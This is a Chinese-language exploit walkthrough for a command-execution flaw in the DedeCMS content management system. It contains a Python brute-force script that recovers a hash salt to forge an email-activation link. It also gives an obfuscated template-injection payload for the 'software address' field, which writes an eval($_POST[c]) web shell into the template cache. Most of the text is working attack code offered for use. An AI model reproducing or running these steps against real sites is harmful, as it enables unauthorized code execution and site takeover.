Dedecms命令执行漏洞

影响版本

未知

利用方法

首先,会员中心开放,注册一个号。

默认情况下,注册的号码需要邮件验证,但通常没法收取邮件的,所以没法激活,什么也不能操作。

爆破程序

code 区域
#! /usr/bin/env python
#-*- coding: utf-8 -*-
from hashlib import md5
import sys
import string
def getmd5(str):
    m = md5()
    m.update(str)  
    return m.hexdigest()
if __name__ == "__main__":
   if len(sys.argv) == 3:
      value=str(sys.argv[1])
      ckMd5=str(sys.argv[2])
      lowercase =  string.lowercase
      uppercase = string.uppercase
      for a1 in uppercase:
          for a2 in lowercase:
              for a3 in uppercase:
                  for a4 in uppercase:
                      for a5 in lowercase:
                          for a6 in range(1000,10000):
                              for a7 in uppercase:
                                  print (a1 + a2 + a3 + a4 + a5 + str(a6) + a7)
                                  result = getmd5(a1 + a2 + a3 + a4 + a5 + str(a6) + a7 + value)[:16];
                                  if result == ckMd5:
                                      print '----------------------------'
                                      print 'ck:' + (a1 + a2 + a3 + a4 + a5 + str(a6) + a7)
                                      sys.exit(0)
      sys.exit(0)
   else:
       print ("usage: %s value ckMd5" % sys.argv[0])
       sys.exit(-1)

943ea8a69319e9dd17bc3b8245631300

http://127.0.0.1/dede/member/index_do.php?fmdo=checkMail&mid=8&userhash=943ea8a69319e9dd17bc3b8245631300

添加上传软件

本地地址 http://www.hao123.com

其它乱填就行,添加成功后,再次进入修改界面

软件地址改为:

http://www.hao123.com}x{/dede:link}{dede:a text'=x']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));// }xxxx{/dede:a}{dede:link}

其实利用的是对软件地址的解释漏洞

可以打开 data\tplcache 目录,找到相关解释后的文件

可以从上图看到,数组的键被闭合上了。

再次打开修改页面时,即包含了该文件,从而造成命令执行漏洞。